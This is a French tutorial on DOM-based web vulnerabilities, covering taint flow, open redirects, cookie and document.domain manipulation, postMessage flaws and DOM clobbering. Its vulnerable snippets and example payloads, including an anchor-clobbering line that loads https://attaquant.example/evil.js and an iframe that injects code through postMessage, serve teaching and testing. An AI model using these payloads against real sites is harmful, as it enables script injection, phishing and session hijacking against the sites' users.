Aller au contenu

Vulnérabilités basées sur le DOM

Le DOM (Document Object Model) est la représentation hiérarchique, par le navigateur, des éléments d'une page. Le manipuler en JavaScript est au cœur du fonctionnement des sites modernes et n'est pas un problème en soi — mais du JavaScript qui traite des données de façon non sécurisée ouvre la voie à diverses attaques.

Une vulnérabilité basée sur le DOM apparaît quand un script prend une valeur contrôlable par l'attaquant — la source — et la fait passer dans une fonction dangereuse — le sink. Tout l'enjeu de l'analyse consiste à suivre ce cheminement.

Le concept de taint flow

L'analyse de taint flow (flux de données teintées) consiste à marquer les données issues de sources non fiables, puis à observer si elles atteignent un sink sans validation. C'est ce trajet source → sink qui crée la vulnérabilité.

Les sources courantes sont des points d'entrée contrôlables : location et ses propriétés (location.search, location.hash), document.URL, document.referrer, document.cookie, window.name, postMessage, l'historique (history.pushState), et les stockages (localStorage, sessionStorage).

Les sinks sont des fonctions ou propriétés dont l'usage est dangereux : eval() (exécute du JavaScript), innerHTML / document.write() (injection HTML/JS), setTimeout()/setInterval() avec une chaîne, location (redirection), WebSocket(), document.cookie, element.setAttribute(), et bien d'autres selon le type de faille.

Le tableau suivant associe chaque type de vulnérabilité DOM à un sink caractéristique :

Vulnérabilité Sink type
XSS basée sur le DOM document.write(), innerHTML
Redirection ouverte window.location
Manipulation de cookie document.cookie
Injection JavaScript eval()
Manipulation de document.domain document.domain
Empoisonnement d'URL WebSocket WebSocket()
Manipulation de lien element.src
Manipulation de message web postMessage()
Manipulation d'en-tête Ajax setRequestHeader()
Chemin de fichier local FileReader.readAsText()
Injection SQL côté client executeSql()
Manipulation du stockage HTML5 sessionStorage.setItem()
Injection XPath côté client document.evaluate()
Injection JSON côté client JSON.parse()
Manipulation de données DOM element.setAttribute()
Déni de service RegExp()

Redirection ouverte basée sur le DOM

Elle survient quand un script écrit une donnée contrôlable dans un sink déclenchant une navigation inter-domaine. Le code suivant est vulnérable par son traitement de location.hash :

let url = /https?:\/\/.+/.exec(location.hash);
if (url) { location = url[0]; }

Une URL piégée provoque alors la redirection de la victime vers le domaine de l'attaquant — base classique du phishing :

https://site.example/example#https://attaquant.example

Si l'attaquant contrôle le début de la chaîne transmise à l'API de redirection, il peut escalader vers une injection JavaScript via le pseudo-protocole javascript:, exécutant du code arbitraire au chargement de l'URL.

Quand un script écrit une donnée d'une source dans document.cookie sans assainissement, on peut forger une URL qui définit un cookie arbitraire :

document.cookie = 'cookieName=' + location.hash.slice(1);

L'impact dépend du rôle du cookie : un cookie de comportement (mode démo/production) permet de pousser des actions non désirées ; un cookie de session permet une fixation de session, où l'attaquant fixe un jeton valide qu'il contrôle puis détourne la session de la victime — attaque visant le site lui-même et tous ceux du même domaine parent.

Injection JavaScript

Elle survient quand un script exécute une donnée contrôlable comme du JavaScript, via un sink comme eval(), Function(), setTimeout() ou setInterval(). L'attaquant exécute alors du code dans le contexte de la session de la victime — vol de jeton de session, actions en son nom, enregistrement de frappes.

Manipulation de document.domain

La propriété document.domain permet de relâcher la politique de même origine entre sous-domaines légitimes. Si un script la définit à partir d'une donnée non fiable, l'attaquant force la page à adopter un domaine choisi : une page vulnérable et une page contrôlée peuvent alors partager le même document.domain, ouvrant un accès complet au DOM et aux cookies de la victime — équivalent à une XSS.

Empoisonnement d'URL WebSocket

Quand un script utilise une donnée contrôlable comme URL cible d'une connexion WebSocket, l'attaquant forge une URL ouvrant une connexion vers un serveur qu'il contrôle. Si le site y transmet des données sensibles, il les capture ; s'il lit des données du serveur WebSocket, il peut détourner la logique du site.

Autres manipulations de sources DOM

Plusieurs vulnérabilités suivent le même schéma — une source contrôlable atteint un sink spécialisé :

  • Manipulation de lien (element.href, element.action) : modifie la cible d'un lien ou d'un formulaire, pour rediriger, détourner une soumission, ou injecter un lien interne contournant les protections anti-XSS du navigateur.
  • Manipulation d'en-tête Ajax (setRequestHeader()) : définit un en-tête arbitraire dans une requête Ajax, point de départ d'attaques chaînées.
  • Chemin de fichier local (FileReader) : ouvre un fichier local arbitraire, pour en lire ou y écrire des données.
  • Injection SQL côté client (executeSql()) : exécute une requête arbitraire dans la base SQL locale du navigateur.
  • Manipulation du stockage HTML5 (localStorage.setItem()) : stocke une donnée contrôlable, exploitable si elle est ensuite relue sans assainissement.
  • Injection XPath / JSON côté client (document.evaluate(), JSON.parse()) : détourne la logique du site selon l'usage des résultats.
  • Manipulation de données DOM (setAttribute(), script.src) : altère l'interface ou, plus grave, fait importer un script malveillant.
  • Déni de service (RegExp(), requestFileSystem()) : consomme excessivement les ressources du navigateur de la victime.

Manipulation de messages web

Elle survient quand un script envoie une donnée contrôlable comme message web (postMessage()) à un autre document, ou — plus exploitable — quand un écouteur de messages traite un message entrant sans vérifier son origine. Le code suivant est vulnérable :

window.addEventListener('message', function(e) {
  eval(e.data);
});

L'écouteur ne vérifiant pas l'origine, et postMessage spécifiant la cible *, l'attaquant injecte une charge via une iframe :

<iframe src="https://site-vulnerable.example/" onload="this.contentWindow.postMessage('print()','*')">

Vérification d'origine défaillante. Même avec une vérification, elle peut être contournée si elle se contente de tester la présence du domaine (indexOf), ou utilise startsWith()/endsWith() de façon naïve :

if (e.origin.indexOf('site-legitime.example') > -1) { eval(e.data); }

Un domaine comme site-legitime.example.attaquant.example (ou attaquant-site-legitime.example) passe alors le filtre.

DOM clobbering

Le DOM clobbering injecte du HTML pour écraser une variable globale par un nœud DOM, modifiant le comportement du JavaScript. C'est utile quand la XSS est impossible mais qu'on contrôle des éléments HTML dont les attributs id/name passent le filtre. Le motif vulnérable typique :

var someObject = window.someObject || {};

On écrase someObject avec un élément d'ancre. Si un script utilise someObject.url pour une source de script, on injecte deux ancres de même id (regroupées en collection) dont le name définit la propriété visée :

<a id=someObject><a id=someObject name=url href="https://attaquant.example/evil.js">

Pourquoi deux balises ?

La première ancre stabilise l'exploit en garantissant la création d'une instance écrasable ; sans elle, l'injection risque de créer un simple id/name HTML sans remplacer la variable.

Une variante utilise form + input pour écraser la propriété attributes et contourner un filtre côté client mal codé : si le filtre parcourt element.attributes (via element["attributes"]) pour retirer les attributs interdits, et que cette propriété est écrasée par un nœud input, la boucle de filtrage échoue et un attribut malveillant passe :

<form id=x tabindex=0 onfocus=print()>
  <input id=attributes>
</form>

déclenché par une iframe ajoutant #x à l'URL après un court délai (le focus immédiat risquant de précéder le chargement complet du DOM).

Aide-mémoire

Faille Source → Sink
Redirection ouverte location.hashlocation
XSS DOM source → innerHTML, document.write()
Injection JavaScript source → eval(), Function()
Manipulation de cookie locationdocument.cookie (fixation de session)
document.domain source → document.domain (contournement SOP)
Message web postMessage non vérifié → eval()
DOM clobbering HTML injecté → variable globale écrasée

L'analyse consiste toujours à remonter de la source au sink : repérer une entrée contrôlable, suivre son trajet dans le JavaScript, et vérifier si elle atteint un sink sans assainissement. Le DevTools du navigateur et l'extension DOM Invader de Burp facilitent grandement ce traçage.